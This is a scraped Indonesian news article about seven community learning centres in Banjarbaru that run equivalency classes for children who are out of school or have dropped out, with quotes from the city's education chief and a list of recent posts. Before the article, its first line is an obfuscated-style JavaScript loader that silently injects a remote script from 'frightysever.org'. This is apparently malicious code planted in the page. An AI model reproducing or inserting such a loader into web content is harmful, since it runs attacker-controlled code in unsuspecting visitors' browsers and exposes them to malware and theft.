(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Tujuh PKBM di Banjarbaru Atasi Persoalan Anak Tidak Sekolah


KANALKALIMANTAN.COM, BANJARBARU – Pelaksanaan belajar paket di Pusat Kegiatan Belajar Masyarakat (PKBM) Kota Banjarbaru menjadi program unggulan prioritas Pemerintah Kota Banjarbaru dalam mengatasi permasalah Anak Tidak Sekolah (ATS) dan Anak Putus Sekolah (APS).

Ada kelompok belajar terdiri dari Paket A, Paket B, dan Paket C tersebar pada tujuh PKBM di lima kecamatan se Banjarbaru.

Kepala Dinas Pendidikan (Kadisdik) Kota Banjarbaru Dedy Sutoyo mengatakan, pelaksanaan pembelajaraan di PKBM dapat dilaksanakan dengan baik dan berkembang.

“Sekarang setiap kecamatan sudah ada PKBM, kita punya tujuh PKBM plus satu SKB dan saya pikir bisa mengakomodir dalam hal penanganan ATS maupun APS di Kota Banjarbaru,” ujar Kadisdik Kota Banjarbaru.

Baca juga: Pajak dan Retribusi Daerah Banjarbaru Sentuh Angka Rp188,8 Miliar

PKBM merupakan pengawalan sekaligus kerja sama yang dilakukan Disdik bersama lembaga pendidikan pelatihan swasta.

“Kehadiran teman-teman PKBM dengan semangat datang rumah ke rumah, kembali menarik anak-anak di Kota Banjarbaru untuk kembali mendapatkan program pendidikan yang fleksibel dengan kondisi real keluarga masing-masing,” jelas dia.

Dedy menjelaskan lebih detail terkait macam-macam ATS sendiri berbeda setiap waktunya.

Jika pada dua tahun terakhir dikenal dengan sebutan, anak pernah sekolah atau belum pernah mengikuti proses pembelajaran, Lulus Tidak Melanjutkan (LTM) dan Drop Out (DO).

Baca juga: Catatan Korupsi 2024 Kalsel: Uang Negara Terselamatkan Rp18 Milliar dari 31 Kasus

Namun, berbeda dengan tahun ini, dalam segmentasi ATS berkembang menjadi anak belum pernah bersekolah dan lainnya.

“Segmentasi ATS berkembang terus, tahun ini kita mengenal belum pernah bersekolah, dua tahun lalu tidak istilah tersebut yang ada cuma seperti lulus tidak melanjutkan,” ungkapnya.

“Dengan begitu kalau tren kenaikan bisa dibilang Banjarbaru turun dari sisi LTM dan DO, sementara kalau tren ATS secara keseluruhan belum bisa disimpulkan,” sambungnya.

Pelaksanaan PKBM menjadi solusi terbaik untuk anak-anak di Banjarbaru agar kembali mendapatkan akses bersekolahnya.

Baca juga: Kejari Banjarmasin Musnahkan Barbuk 211 Perkara Inkrah 

Dalam kegiatan belajar mengajar juga di PKBM dilakukan sama seperti sekolah negeri pada umumnya, seperti lamanya pendidikan hingga penerapan kurikulum merdeka belajar.

“Mereka fleksibel karena ada sistem modul, tatap muka hingga daring. Konsep kurikulum merdeka juga sudah diakses sampai ke PKBM dan akun belajar termasuk rapor pendidikannya sudah diterapkan di PKBM,” tuntas Dedy. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor : bie


Risa

Recent Posts

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

11 jam ago

Naik 6,5 Persen, Upah Minimum Kalsel 2025 Rp3,4 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More

11 jam ago

Grand Final Pemilihan Duta Baca Balangan

KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More

18 jam ago

Optimalkan Fungsi Pasar Itik Alabio

KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More

19 jam ago

Tak Perlu Repot ke Bank, Atasi Blokir Akun BRImo Langsung dari HP!

KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More

22 jam ago

Peringatan Hakordia 2024, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More

23 jam ago

This website uses cookies.